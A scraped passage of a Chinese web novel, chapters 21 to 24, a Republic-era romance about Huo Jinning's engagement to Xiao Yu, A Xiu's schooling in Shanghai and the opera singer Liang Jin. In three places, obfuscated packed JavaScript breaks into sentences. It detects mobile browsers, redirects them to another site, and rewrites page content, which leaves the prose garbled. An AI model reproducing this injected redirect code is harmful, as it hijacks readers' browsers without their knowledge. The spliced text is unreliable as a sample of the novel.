然而霍成宣却还有第三个目的,趁霍锦宁人在苏州,佯作遇害之际,替他把亲事退了。 霍锦宁对此毫不意外,他只是有些失望,为他与这毫无血缘关系的父亲之间仅存的一点情分都不能剩下而失望。 但也只是一点点而已。 他眼中温度淡下,却是笑意更甚, “父亲好算计。” 霍成宣不在意他的讽刺,他与这唯一的儿子间也不存在如何情分,但他清楚的知道霍锦宁和他一样,是个有野心的人,所以他毫不怀疑霍锦宁会被儿女私情牵绊。 换言之,如果他会,那么他也就没资格接手霍家家产。 “你可以在外面养着莺莺燕燕,你可以娶十七八个姨太太,但是你妻子的位置,霍家少奶奶的位置,你无权定夺。” 霍锦宁并没有反驳,他施施然在霍成宣面前坐下,喝了一口那杯本来倒给霍成宏的咖啡, “如今在上海,在江浙,若论财力雄厚,霍家认第二,没人敢认第一。现在与薛家联姻,能得到什么?难道父亲想要的,仅仅是富甲天下?” “有何不可?” “自然可以,只是前有石崇,后有沈万三,商贾巨富是什么下场,父亲不清楚吗?” 霍成宣眉峰轻颤,不动声色:“那又如何?时代已经不同了。” “是,当然不同,如今国内军阀割据,南北混战,国外列强虎视眈眈,锋芒毕露巨富的下场恐怕比前人还不如。” 霍锦宁笑了笑:“我在国外这几年,也多少见识了一些西洋的富商豪杰都是如何运作的,他们称之为‘资本家’,集团财阀,操纵国会,废立总统,动辄能左右一个国家,乃至一个大洲的命运。” 他就如随口一提,轻描淡写的问:“您说霍家将来有没有机会站在这样的高度?” 年逾不惑,经过大风大浪,霍成宣居然被这二十出头的年轻人说得动摇。 “你到底想说什么?” “我想说——”霍锦宁悠然一笑,“在这世道,有权无钱,是光杆司令,有钱无权,是待宰的肥羊,父亲应该把眼光放长远一点。” 霍老爷子是个十分固执的人,在世之时,给子女定下了无数家规,其中有一点,便是不得为官入仕,不得参与政治,想要钱权兼顾,就只有联姻一条路。 霍成宣沉吟片刻,还是说:“萧家不行,北洋政府有名无实,直奉两系战事胶着,萧家江河日下,萧老太爷时日无多,我们不必做亏本的买卖的。” 有理有据,无法反驳。 然而霍锦宁自然早有思量,他若有深意道:“父亲,你单单记得,她是萧家的女儿,却怎么忘了,她还是康家的女儿。” 当年萧瑜母亲为嫁萧子显,几乎与康家断绝关系,然而短短两年便被萧子显伤得心灰意冷,离开萧府,远渡重洋。萧家和康家都将这段往事当做不堪回首,如今旁人几乎都要忘了,萧瑜的母亲,其实是康家大小姐康雅惠。 而康家,是南方革命领导人中山先生的坚定支持者。 霍成宣一愣,而后笑了起来:“不错,我险些都忘了。” 但他又一迟疑:“可是这南方的局势,也很不明朗,早早站队,恐怕......” 霍锦宁垂眸淡然道:“富贵险中求,奇货可居是雪中送炭,可不是锦上添花。” 霍成宣目光变了变。 他以为他不过是年少气盛,喝了几年洋墨水,懂得一点经商之道,自命不凡。之前无论是纺织厂前景,还是设计霍成宏,不过都是小打小闹的把戏,他不曾放在眼里。 而今看来,他确实小瞧了霍锦宁。 想他此生,女人无数,却只有这一个儿子,无论喜不喜欢,再过几年,霍家偌大基业,都要交到霍锦宁的手中。 也许,这并不是一件坏事。 沉默半晌,霍成宣终于道: “好,这件事你便自己定夺吧。” ...... “是书何以作?曰:为师夷长技以制夷而作。” 阿绣坐在书桌前,继续翻看手里这本《海国图志》,里面讲述着西洋国家的风土人情,历史政治,她看得似懂非懂,却如痴如醉。 这间二层楼的公寓,小而精巧,楼下有客厅,洗漱间,厨房,亭子间和一间卧室,丁伯一家三口住在这里,她自己住在楼上的卧房。除此之外,二楼还有一间书房,里面书柜上摆了不少书,当初买来许是为了装点门面,书籍崭新,可许久没人碰过,上面落下了不少灰,但阿绣还是很惊喜。 上海滩确实繁华,她也跟着丁伯丁妈上过街,逛过百货商店,可她并不怎么喜欢。她最喜欢的是早上吃过饭,就一头扎进这间书房里,随意的选中一本书坐在书桌旁,或坐在窗前的地毯上翻看,渐渐入迷,不知不觉,日落西山,华灯初上,一天就这么过去了。 丁香好几次劝她,这样可是会累坏眼睛,可她前一天乖乖的应下,后一天还是忍不住钻进书房,周而复始。 此时此刻,她正看到地球正背面全图这一页,内心受到无比的震撼。 原先,她知道有笙溪,笙溪之外有苏州,苏州之外有京城,这片土地以前叫大清,后来叫民国,再往外还有个叫西洋的国家...不不,也许是几个国家,都叫西洋。 而今,她伸手轻轻触碰上这页地图,不禁有细微颤抖。 原来世界是这个样子,不是天圆地方,不是华夏九州,是这样一个叫做地球的地方,这上面五大洲四大洋,广袤无边,天高海阔。中国不是其中一块,苏州也不过是上面看不清的一个点,而千千万万的人,更如千千万万蚂蚁一样,在太阳下忙忙碌碌的活着。 原来天地何其广阔,原来笙溪何其渺小。 她心里有一盏灯,似乎正在被慢慢的点亮,照亮着她也看不清的未来,她却充满期待的向前摸索着,毫无畏惧。 “姑娘!” 丁香敲门进来,打断了她的思绪。 “我就说姑娘一眼见不着就又跑来书房了,再这样下去,姑娘钻到书里出不来了可怎么办?” 阿绣缓过神来,不好意思的笑了笑。 丁香无奈摇头,手里拿着一套衣服走过来:“姑娘,来试试这件衣服。” 阿绣苦恼:“怎么又试新衣服?我已经有好多好多衣服了。” 丁香噗嗤一乐:“这还叫多?不过都是夏天的凉快衣服,等入了秋,还要再添置厚衣服呢。况且,我手里这不同,你快去试试。” 阿绣依言接过衣服,回到卧室,一件件换上,然后走到镜子面前打量。 这套衣服,是天蓝色的斜襟短上衣,下面是黑色的百褶裙,还有白色的长袜,很简单朴素,可她越看越觉得眼熟...... 刹那间,她的心砰砰跳了起来。 她迫不及待的冲出门去找丁香,要问问这是怎么回事。 “丁香,这件衣服是不是前几天我们在街上看见的那些女学生身上穿的——” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424884|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑到楼梯拐角处,声音戛然而止。 楼下客厅里站着一个年轻男人,衬衫西裤,长身玉立,温文尔雅,却冷淡疏离。 他看向她,眉间若有若无的笑意。 商场尔虞我诈,人为财死,骨肉相残,他周旋其中,不是不厌烦。若世人都能如这小姑娘一般澄澈善良,天真无邪,该有多好。 “这是德英女中的校服。” “......少爷。” 阿绣呆呆的看着霍锦宁,不由自主一步一步从楼梯上走了下来,越来越快,最后她冲到了他的面前,气喘吁吁,红着脸抬头看向他。 那天丁伯一句“少爷有空来看你”,被她牢牢的记在了心里,这些天她嘴上不说,背地里偷偷掰着指头数日子,暗暗期盼着他能来。 左等右等,左盼右盼,他终于来了,可她只能傻兮兮的站在他面前,一句话也说不出来。 霍锦宁不知她心里的千回百转,只是抬手摸了摸这个傻姑娘的头, “剪头发了?” “嗯。”她轻轻点头。 她原先的头发太长了,时下小姑娘都流行剪短发,可她很舍不得,于是丁妈带着她去理发店稍微剪短了些,现在只刚刚过一点肩膀,然后在耳侧编成两条辫子,轻巧的垂下来。 她忽而想起什么,焦急的问:“少爷你的伤势如何了?” 霍锦宁一顿,笑道:“无碍。” 伤有月余,虽说是自作自受,但从笙溪到上海,从头到尾,她是唯一在意的人。 听过他回答,阿绣不禁松了一口气。 “刚才干什么呢?” “看书。”她有些赧然:“我看书房里有许多书,就擅自进去去看了。” “好,爱读书是个极好的爱好。能让你见得多,想得深,变成不一样的人。” 她点头,在心里牢牢记住他的话。 “你刚才说,什么女中?还有...为,为什么让我住在这里?” 阿绣终于鼓起勇气问道。 “住得不喜欢?还是你想去别的地方?” “不不不,只是,我们原来不是说好,让我做你的丫鬟的......” 这样,她就能日日见着他了。 “何时说好的?” 霍锦宁笑了笑,“霍家并不缺丫鬟,我身边也从来不用丫鬟。” 阿绣呆了呆:“那我.......” “阿绣,你在笙溪救了我,我欠你恩情。你很聪明,也很好学,不该一辈子只做一个梳头娘姨。” 霍锦宁直视她的眼睛:“我不需要你做饭洗衣服,也不需要你给我夫人梳头,我要让你去上学。” “上学?我也可以吗?” “当然,这个国家,所有女孩子,所有小孩子,都该上学,都该有学上。” 这是范先生的心愿,也是所有战争所有牺牲的意义所在。 “我家中有位姑姑是德英女中的校董,她一直致力于资助贫穷女孩子读书,帮助了很多人,你现在也受她资助,不用有什么负担,只要好好读书,将来做个正直善良的人就是最好的回报。” 阿绣心里一时间充满着惊喜和惶恐,呼吸急促,不知所措:“这是真的吗?我真的可以去念书了?” 霍锦宁一笑:“只是德英女中的课业很重,你全无基础,可能会很累,不知道你怕不怕累?要是半途而废的话,恐怕还不如一开始就别去......” “不怕!” 阿绣急忙道,生怕霍锦宁会反悔一样,“我真的不怕,我很能吃苦的,这些我都会认真学,我一定不会让您姑姑失望的!” “好。” 霍锦宁眉眼温柔,“这几日会有一位家教老师来给你提前上一些课,下个月你就去学校吧,每天早晚丁伯会接你。” 阿绣认真的点头,记下他的安排,忽然想起了什么。 “那,你呢?” 她小声问,他还会来看她吗?多久来一次?还是,他再也不会来了...... “我过段日子去北京。” 霍锦宁随口道:“回去成亲。” 22. 第 22 章 八月酷暑,盛夏时节。 万里无云,日头高高夭夭的挂在天上,偶尔一丝风吹过来,都是热乎乎的。四合院前后门通透,热风打着圈从前堂吹到后院,掀起青纱门帘,又轻飘飘四散开去。 青瓷水缸里,九尾锦鲤,八红一黑,争先恐后的躲到睡莲荷叶底下,搅乱了一潭清水。 院子里那棵老槐树,枝叶茂盛,绿树成荫,树下一把藤编的摇椅,缓慢轻摇。萧瑜眯起眼睛,有一下没一下扇着手里的鹅毛扇,在这难得悠闲的午后,昏昏欲睡。 梁瑾自堂屋冰桶里用小彩花碗盛了碗冰糖熬的绿豆汤,端到了院子里。 未曾见人,萧瑜就听见他口中哼着欢快的小调,由远及近。 曲子耳熟,可一时又想不起来,仔细听了听含糊唱词,她噗嗤一声乐了出来。 “人家苏三多大的冤屈,让你唱得这么快活!” 知道的是去伸冤,不知道的还以为是会情郎,不过倒也差不离。 “总是团圆结局就好。” 她睁开眼睛,看见梁瑾在她面前的石凳上坐下来,将绿豆汤递给她,眉宇间还是笑意。 自从上次萧瑜宽慰过他后,他确实是想通了,很积极的治伤养伤,吃好喝好,静养个把月,如今他的伤好得七七八八,早就能下地走动了。 她接过碗喝了一口,砸了咂嘴:“不够凉。” 这天光,一动一身汗,当然是来一碗冰甜冰甜透心凉的汤水,一口气咕咚咕咚灌下去,张嘴能冒出丝丝凉气儿才最痛快。 梁瑾无奈:“特意放一会儿才拿过来,太凉了对脾胃不好,女孩子家总该注意点。” 萧瑜闻言轻笑了一声,起身凑过去,上下打量他:“这话听着让我想起小时候照料我那个嬷嬷,以后叫你梁嬷嬷成不?” 梁瑾还想说什么,目光往近在咫尺的人身上一扫,就顿住了,本就燥热的天气,更觉得难耐了,他不自然的别开目光: “怎、怎么穿成这个样子?快把裤子放下。” 萧瑜今儿穿了件月白色的短袖小衫,下面是件水蓝色的宽松阔裤,轻薄的纱料,只到脚踝,脚上的鞋子也给踢到了地下,偏生她还把裤脚挽到了膝盖,露出两条白生生的小腿。 打眼望去,就像两条嫩藕,让人瞧了心里痒痒的。 这人从锁骨到脚踝,从头发丝儿到指尖儿,没有一处不精致,天生娇养的命,吃不得半点苦。 “呦,还真管起我来了?我在家听着一大家子念叨不够,来这儿还得听你说道?” 萧瑜故意双腿交叠,荡悠了几下,揶揄道:“这就受不了了?国外的女人比这开放多了,裙子都开到这儿,领子拉到这儿,你要是见着了不得直接昏过去。” 她一边说,一边在自己身上比划着。 梁瑾脸红得不行,“她们、她们又不是你!” 别人穿得什么样子,跟他有什么关系? 但倘若她穿成那个样子,梁瑾光想一想,就觉得坐不住了,忍不出直接伸手要把她的裤脚拉下来。 手刚一碰到布料,就被她手中的羽毛扇压住。 他抬眼望她,却见她似笑非笑:“别动,凉快。” 手下若有若无贴着她小腿上光滑细腻的肌肤,手背上那羽毛扇骚得痒痒的,他心中一荡,慢慢的,收回了手。 可那转瞬即逝的微妙手感,却是怎么也在心头挥之不去了。 他垂下眼,不由轻笑了几下,眉目都是温柔。 萧瑜见他最近实在眉开眼笑的紧,不禁戏谑:“你就那么开心?” 如今她萧二小姐被霍二少退了亲,整个四九城都传遍了,好奇有之,同情有之,幸灾乐祸有之,一茬又一茬的人跑来问她究竟怎么回事。孙敬祺跟苍蝇一样堵着围着她不停的自责,是不是他掺合她和碧云天那事被霍锦宁知道了云云,嗡嗡嗡简直烦不胜烦。 为了躲萧府那群人,她已经搬了出来,又为了躲外头那群人,她只能成天待在燕子胡同,图个耳根清净。 “你又何必明知故问。” 萧瑜轻嗤一声:“成不成亲,退不退亲,是我自己的事,别以为你能落下什么。” 梁瑾一僵,脸上血色慢慢退去,扭过头,轻声道: “我如何不知。” 她即便不嫁霍锦宁,也要嫁旁的公子少爷,与他能有什么干系?不过挨得一天是一天罢了。 “赶明个你成婚那天,无论和谁,定要知会我一声,到时候我在台上给你唱三天三夜的戏。” 他轻柔笑了一下。 从《游园惊梦》到《贵妃醉酒》,从《天女散花》到《霸王别姬》,把他所学说会,一一唱了去。 萧瑜顿了顿,只淡淡道:“别介,废嗓子。” 见他惨白脸色她还是有些不忍,觉得自己话说重了些,于是随口问道: “脸上的伤怎么样了?” 梁瑾定了定心神,回道:“还好,就是这几天有点痒。” “痒就对了,是长肉呢,可不能挠,挠了一准留疤。” 她手一伸,拿扇子抵着他的下颌,将他的脸扳过来,十足轻佻的纨绔子弟。 “我瞅瞅。” 虽然那伤处此时看着狰狞了些,好似美玉裂痕,横亘在他脸上,但已愈合结痂,想必过段日子就能好。 梁瑾一笑,缓缓道:“疼也能忍,苦也能忍,可这痒要想忍下,实在是为难了点。” 萧瑜没听出他话中深意,生怕他忍不住挠,垂眸看见手里的羽毛扇,灵光一闪,笑道: “这个好,你不如使这个试试?” 说着将手里的羽毛扇在他脸上那道伤疤处轻轻一扫。 扇尖细碎的绒毛若有若无的磨蹭着脸颊,划过鼻尖的还有她身上的淡淡熏香,似烟,似风,似分花拂柳袅袅无踪,似穿云弄月扰袖弄摆。 哪里是止痒,分明让那痒意沁入了五脏六腑,心肝脾肺。 梁瑾一把将那纤细的手腕抓住,俯身凑近把她半压在摇椅上。 萧瑜愕然抬首,和面前的人四目相对,她清晰的感觉到他身上炙热的温度,他喷薄在她面上那炽热粗重的呼吸,以及那双幽深不见底的眸子里,盛满了一望无际的情愫。 摇椅发出吱呦吱呦的声音,前后摇晃着。 她有些好笑,也有些烦躁, “你想干什么?” 他低头,鼻尖轻轻贴上她的,一呼一吸都吹拂在她的唇上,他低哑着嗓音道: “二小姐,在下虽是个旦角,可也不是唱不成柳梦梅。” 她收了惯常的似笑非笑,面无表情与他默默对视,谁都没有再说话。 “小姐,廖三爷——” 霍祥匆匆走进来,话还没说完,就看见这一幕,骇得差点摔了个四脚朝天。 梁瑾迅速收回身子站起来背过身去,萧瑜也直起身子整了整衣襟,平白有些尴尬,手里的羽毛扇习惯性的扇了几下,又仿佛烫手山芋一般扔到了一边。 她轻咳一声,混若无事道: “怎么了?” “这,这......” 霍祥自觉看到了不该看的东西,垂首退到了角落里,恨不得把头低到地底下。 也不用他通传,廖季生自己就跟在他身后进来了,打远看见萧瑜就招呼: “你可是让我好找。” “三哥!” 萧瑜笑了起来,冲霍祥挥了挥手,“你下去吧。” 霍祥如蒙大赦,转身就跑。 廖季生大大咧咧在萧瑜跟前一坐,抬眼瞅了一下站在一边的梁瑾,笑道: “哟,这不是云老板吗?外间都传云老板香消玉殒了,没想到音容还在,真是梨园行一大幸事啊!” 梁瑾只冲他敷衍的点点头,叫了声“廖三爷”,也不理他的挖苦,顾自对萧瑜道: “我去再给你盛碗绿豆汤。” 萧瑜忍不住在他身后扬声道: “别忘多镇一会儿,不凉的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424885|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要!” 回过头来,就看见廖季生似笑非笑的神情。 她视若无睹,只慢条斯理靠回摇椅上,悠悠道:“三哥好本事,都找到这儿来了。” “不难,北京城找一个大活人有什么难的,何况你这也不是什么见不得人的地方。” 萧瑜斜了他一眼,笑问:“我怎么觉得你是来捉奸的啊?” “我捉哪门子奸啊!”廖季生不甚在意道:“一个戏子,养着玩而已,你乐呵就成。” 从小到大,与其说廖季生把萧瑜当成妹妹,倒不如说当成兄弟,兄弟逛个青楼,捧个戏子,没什么毛病。 “我原来以为你躲起来伤心,现在看来你倒是乐得自在。” 萧瑜哼了一声:“你以为什么?你以为我以泪洗面,食不下咽?” “既然你没有,那说明霍二确实没出事儿,这就够了,其余你们两个的事我才懒得管。”廖季生摆了摆手。 “我说你就不捎带脚安慰安慰我?” “安慰什么,只要他霍锦宁活着,还能娶旁人不成?” 廖季生笑了笑,旋即又有些不解:“说实话,这些年我从来没看透过你们两个。” 萧瑜神色淡淡:“有什么看不透的?” “你们青梅竹马,两小无猜,又是郎才女貌,志同道合,不在一起,简直天打雷劈。可要说真就成了夫妻,怎么都感觉差点什么。” “许是你认识我们年头久了罢了。” 要真在一起,才是该天打雷劈。 萧瑜心里默默道。 她半开玩笑说:“万一霍锦宁真的退亲了怎么办?或者他在上海拈花惹草,三哥你又怎么办?” “他敢?!小爷我替你一枪崩了他!”廖季生索性也跟着她开玩笑,一拍大腿:“甭担心,你要是嫁不出去了,三哥娶你!” 萧瑜真的是被他逗乐了,摆手:“算了吧,我可受不了你那一屋子莺莺燕燕。” “不能够啊,你要来那必须都得休了,要不然没两天就全成你的莺莺燕燕了!” “得得得,当我没说成不成?”萧瑜连连告饶。 “对了。”廖季生忽然想起什么,“书呆子写回来的信,你收没收到?” “谢大哥写信回来了?”萧瑜想了想:“没有,这样说他不是寄到了萧府,就是霍家的老宅子,明天我去看看。” 谢玄康是三月走的,先取道广州,五月份才出的国,离开北京时,他没告诉任何人,萧瑜和廖季生都没送成。 “信里说了什么?” “说他初到国外,确实诸多困难,幸好有你和霍锦宁的提点,少走了不少弯路,但思乡之情皆是感同身受。他说已经顺利在费城一个叫宾州大学的学校就读了建筑系,深感国内的建筑研究实在是落后太多,要抓紧每一分一秒学习。还有就是些学术上的事了,我又看不懂,真不愧是书呆子!” 萧瑜也叹了口气:“我和锦宁好歹还彼此有个照应,谢大哥孤身一人,日子怕是会很难捱。” “很快就不是一个人了。”廖季生嘿嘿一笑。 “怎么回事?” “那位王小姐现在应该已经坐上了从上海开往美利坚的轮船了。” 萧瑜诧异:“你上次不是说她父亲不肯吗?” “她是偷跑出去的,和几个留学的同学一起,毫不犹豫的就上了船。啧啧啧,别看她文文弱弱的大家闺秀,千里寻夫,真当是女中豪杰!” 萧瑜也不禁佩服了一番王渝的勇气,转念一想,不禁道:“这里不会有你的推波助澜吧?” “不过是帮她从家里逃出来,再送上去上海的火车罢了。”廖季生十分嘚瑟,“我看书呆子这回是难逃温柔乡了!” 萧瑜失笑,无奈摇了摇头。 王渝和谢玄康也是从小一起长大,同样致力于建筑学的研究。郎才女貌,志同道合,这八个字更应该送给他们才对。 但愿他们能在大洋彼岸能同甘共苦,终成眷属。 23. 第 23 章 霍锦宁说过的话,萧瑜从来都没有怀疑过。 故而,她能在整个萧家鸡飞狗跳,整个京城等着看热闹的时候,安然躲在小四合院里吃吃茶,看看报,闲来无事叫云老板唱个小曲儿,日子过得惬意得很。 离离暑云散,袅袅凉风起,一年中最热的日子很快过去了。 八月末,霍锦宁从上海回到北京,亲自到萧府上门提亲。 “晚辈该死,三月前在苏州一时不察被人暗算,险些丧命,与家中也失去了联系,家父误以为我已命丧黄泉,唯恐耽搁瑜儿,故而替我做主,退了亲事。我一脱险,听闻此事,立马连夜赶来,重新下聘,请求您不计前嫌,将瑜儿许配给我。” 霍锦宁跪在萧府厅堂,当着萧府老太爷老夫人,底下几位老爷夫人的面,不卑不亢,字字情真意切。 另一当事人萧瑜坐在一边,只淡笑不语,悠闲品茶。 几位婶娘目有恨色,大婶更是差点揉碎了手里的锦帕。 萧老太爷早就笑得满面春风,不是为霍锦宁的解释,而是为霍家重新郑重其事下的五大车聘礼。 “如今锦宁安然归来,那么这一切都只是个误会。说来你二人从小指腹为婚,如今也算是几经波折,该是谈婚论嫁的时候了。霍家打算何时筹办婚事啊?” 霍锦宁一笑:“当然是越快越好。” . 萧瑜和霍锦宁一同出了萧府,二人没坐车,而是一同在大街上慢悠悠的溜达着。 夏日天长,这个时间才是黄昏,晚霞漫天,日头西斜,把两个人并肩的影子拉得长长的。 “我那祖父终于把我卖给霍家了,想必他等这一刻都等好些年了。”萧瑜摇头啧啧了两声:“你那聘礼也送得太多了,我可不值这个价。” “送都送来了,你总不能叫我再拉回去。”霍锦宁笑道:“毕竟横插这一档子事,别叫老太爷在这最后关头还挑出理。” “说夏末你还真夏末?再晚两天可就入秋了。真生死未卜,还是故弄玄虚啊?” 霍锦宁随意道:“肩膀上挨了一刀,该骗的骗过了,该收拾的收拾了,没什么大事。” 萧瑜点头,又道:“你就没什么问我的?” 关于霍二少退婚的原因,关于碧云天究竟是生是死,是不是让萧二小姐给金屋藏娇,满城传得风风雨雨,有鼻子有眼。 “我有什么可问的,你自己心里有数,别吃了亏就成。” 萧瑜一笑。 “笑什么?” “你这话和廖三哥说得差不离。” 霍锦宁也笑了:“不该如此吗?” 正该如此。 沿街有扛着草把垛子,叫卖冰糖葫芦的,喊得抑扬顿挫,怪有意思。 路过时霍锦宁随手就买了两串,递给萧瑜。 萧瑜拿着串红通通的糖葫芦有些哭笑不得:“你当我是三岁小孩儿?” 话这么说着,却也吃了,尽管对山楂糖衣有些嫌弃。 咬了一口被酸得牙疼,萧瑜含糊问:“你是怎么说服你家霍大爷的?” “父亲只有商人算计,没有政治头脑,我也不算说服,只是权衡利弊,并且提醒了他一下。”霍锦宁停下脚步,看向她: “你的身上不仅流着萧家的血。” 萧瑜正含着一口半酸不甜的果子,要吐不吐,闻言不由自主一口全咽下去了。 随手将剩了那半串糖葫芦远远扔到地上,霍锦宁掏出手帕递给她,她接过来,仔仔细细擦了擦手。 而后她抬头,直视他的双眼,皮笑肉不笑: “凭什么你觉得我会去认祖归宗?” “你不会吗?” 霍锦宁亦坦然回视着她,并没什么志在必得的笃定,不过稀松平常的确认而已。 这个人,这双眼睛,完全不用费力气,就能知晓她所有的想法。 萧瑜有些释然,亦有些不甘,终是轻叹了口气:“我会。” 他永远不会利用她,除非她愿意,他永远不会隐瞒她,除非她愿意。 “你买的糖葫芦酸透了,牙疼。” 一问一答过后,他们之间的气氛又恢复成平常的样子。 她轻描淡写道:“康家一门望族,声势如日中天,别人攀亲带故还来不及,我当然不能免俗。” 这是她从准备回国时,就生出的想法,而她不用说,他全知道。 北洋是将沉之舟,他们没必要做陪葬。 他要钱,她要权,他俩合作,天下无双。 临分别时,霍锦宁对她说: “我那龙纹的玉佩可是在你那里?” 萧瑜不在意道:“老太爷一怒之下摔了。” “碎了?” “碎了。” “可要我拿去补?” “龙凤已不成双,补来做什么?” “到底还是传家之物。” 萧瑜斜睨他一眼,从兜里掏出去扔给他。 霍锦宁接过一看,那玉佩是从正中央裂成了两半,整整齐齐,他这一半用丝线打了璎珞,很仔细的重新穿过。 “那就一人一半吧,这回你可收好了。” . 霍锦宁和萧瑜的婚期定在了十月初三,旧历上写着黄道吉日,宜嫁娶。 由于霍家在北京几乎没有什么人在,而从北京迎亲到上海,路途又太过遥远,所以二人先在北京霍家老宅子成亲,而后再一同南下赴沪。 萧瑜从来不知道,成回亲是这么麻烦的事,尽管在绝大多数事情上,她都做了甩手掌柜,但有许多事情仍然必须她亲力亲为。 虽然时下非常流行西式婚礼,但由于萧家古板守旧,婚礼仍是传统形式。 所以,要量尺寸,要做嫁衣,要试首饰,可偏偏萧瑜还是个短头发,几个月内现留也来不及。 霍锦宁的意思是,全凭萧瑜舒心。 于是萧瑜的意思是,轿子可以坐,天地可以拜,但嫁衣她不穿。 萧老太爷为此又大发雷霆,好在如今社会风气十分开放,守旧的人少之又少,不穿嫁衣结婚也不是什么太惊世骇俗的事。 最后两相折中,给萧瑜定制了一身大红色骑马装。 余下琐事,烦不胜烦,不提也罢。 周围一众狐朋狗友知晓了二人婚事,无不拍手叫好,纷纷轮流做东请萧瑜和霍锦宁吃饭,今日何少,明日陈少。因着身边都带着妻眷女伴,也没去什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424886|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不成体统的地方,况且前事不忘后事之师,如今没人再敢提议听曲儿看戏。 今日这局在醉仙楼,是孙敬祺撺掇的。 “你们两个可算是好事将近了,殊不知前段时间闹退婚的时候,兄弟几个的心都跟着提溜了一圈,这要真闹掰了,你俩个哪个是饶人的主?还不得大开杀戒,殃及池鱼啊?这回这心可终于落回肚子里了。来来来,你们今儿个必须罚酒三杯!” 孙敬祺端着酒杯,对二人调侃。 萧瑜斜了他一眼:“从头到尾,也不知道是哪个小子唯恐天下不乱的瞎掺合,你说该罚我还是罚你?” 孙敬祺唯恐萧瑜把他拉她去看碧云天那事告诉霍锦宁,虽然他看霍锦宁那但笑不语的神色,十分怀疑这位霍二少已经知道的一清二楚了。 要么老人家说不能插手人家两口子的事嘛,回头人俩个一致对外,搞得中间那个里外不是人。 他连忙讨饶:“得得得,是我唯恐天下不乱,我自罚三杯还不成吗?别说三杯,就是三缸子我也奉陪。” 众人一阵哄笑:“孙小九你今天怎么认怂了?” “难得弟妹也在,你倒是硬气一点啊!” 有人跟柳迟迟揶揄:“弟妹你是不知道,这孙九少平常耀武扬威,可是谁都不放在眼里,偏偏怕极了这两口子,回回认栽。” 柳迟迟抿嘴一笑:“平常敬祺在外硬不硬气我不知道,他怕这二人,我可是从小就知道,谁让他成日里偷奸耍滑不学好,就知道欺负小姑娘。” 不顾孙敬祺一阵红一阵白的脸色,众人又是哄堂大笑。 柳迟迟端起盛了葡萄酒的高脚杯,对萧瑜嫣然一笑:“敬祺那杯你躲过去了,我这杯你可就不能不喝了,好几次找你出来你都不在,还把不把我当朋友?婚礼那天你是新娘子,就不难为了,今天可得好好灌醉你。” 萧瑜失笑:“怎么都冲我来,怎么不敬霍二少啊?” 她看向霍锦宁,调侃道:“以后规矩以后说,我今儿个准许你破例喝一回,别拘谨啊。” “诶呦,这萧二小姐门还没过,就振起妻纲来了,那以后咱还能不能找霍二少喝花酒啊?” “我说夫人,你可别学萧二小姐啊。” 霍锦宁也顺着萧瑜的话,从善如流的端起杯子:“那就恭敬不如从命了。” 柳迟迟笑得花枝乱颤:“好,那这杯就敬你们二人,祝你们今后白头偕老,永结同心!” 萧瑜和霍锦宁亦举杯回敬,然后一饮而尽。 忽而门外传来敲门声,孙敬祺的小厮进来禀报: “九少,廖家大少爷的人求见。” 只见他身后跟着一个士兵打扮的年轻人,进屋站定,恭恭敬敬的向在座各位敬了军礼,然后道: “诸位少爷太太,廖大少在楼下用餐,正巧遇到各位,想上来与众位叙叙旧,恭贺霍二少和萧二小姐新婚大喜。” 话音刚落,众人的目光不约而同下意识的往坐在一旁的廖季生身上扫去。 只见廖季生安然端坐,低头倒酒,充耳不闻。 孙敬祺也是一愣,看向霍锦宁,霍锦宁淡淡一笑,点了点头。 孙敬祺这才道:“快请快请。” 24. 第 24 章 不一会儿,只见走廊正步走来四个卫兵,整齐的里在门外两侧,推开包厢的房门,一个年轻军官走了进来。 他三十上下,身穿暗青色北洋军装,身材高大,面容端正,一身行伍之气却不显粗俗,正是廖家大少廖伯明,亦是在座廖季生的亲哥哥。 “诸位贤弟弟妹在此相聚,廖某冒昧打扰,还望见谅。” 廖伯明客气的拱手笑道:“恭祝霍二弟新婚大喜呀。” “哪里?廖大哥快请坐。”霍锦宁起身笑道。 众人皆知,廖季生和家中闹翻,断绝关系。这两兄弟在此照面,简直形同陌路,廖伯明入席,廖季生视若无睹,连眼神都不曾交汇一个。 这位廖家大公子在座亦是相识,只不过年岁上差了个七八岁,又早早参了军,平日里并没有交集。廖家是曹大帅嫡系,廖大少又做了曹大帅的女婿,在军中公务繁忙,如今来此敬酒,不知所为何事。 廖伯明一入座,气氛顿时变得微妙,大家都显得拘谨起来了。 “不知霍二弟的婚礼定在了哪一天?” “十月初三。” “哦?” 廖伯明将军帽摘下,拿在手中把玩,语气有些玩味:“近来世道不太平,这日子可选得不太好。” 